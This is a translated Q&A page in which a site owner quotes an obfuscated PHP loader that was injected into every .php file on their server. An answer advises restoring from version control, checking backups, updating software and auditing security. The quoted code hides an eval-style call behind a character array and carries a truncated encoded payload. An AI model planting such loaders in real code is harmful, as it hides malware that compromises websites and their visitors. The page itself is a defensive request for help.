此外,我的服务器上的所有.php
文件都会自动创建这段代码。
<?php
$md5 = "a706891c46c31c80594f989327e52c0d";
$a7 = array(';','6','i','l',"z",'4','t',')','e',"b",'(','_',"o","g","a","r","n","s");
$b70 = create_function('$'.'v',$a7[8].$a7[18].$a7[4].$a7[19].$a7[6].$a7[7].$a7[7].$a7[0]);
$b70('DZdFsoUKEkSX0/8HA/wC0SPc3Zl04O7/4f');
?>
(完整代码http://codepad.org/HdnZfKm1)
我尝试从所有.php
文件中手动删除它,但是当涉及setup.php
(连接到MySQL的文件)时,如果我从那里删除它,网站就会停止工作。我不知道如何删除它。如果我保留原样会有什么后果?这是什么以及它是如何进入的?
答案 0 :(得分:2)
答案 1 :(得分:0)
最好的办法是从版本控制系统恢复。你没有吗?这是你修复的第一件事。版本控制必要。
接下来将与您的备份进行比较,以了解何时进行此更改。你没有备份?这是你接下来要解决的问题。
最后,您应该确保您的应用程序软件是最新的,您运行的是最新版本的Web服务器和PHP。立即进行安全审核。如果你不知道如何做到这一点,找一个能得到一些支持的人。如果你被这个击中了,很有可能这个人会回来检查他们的工作,如果他们可以的话可能再次重新攻击你。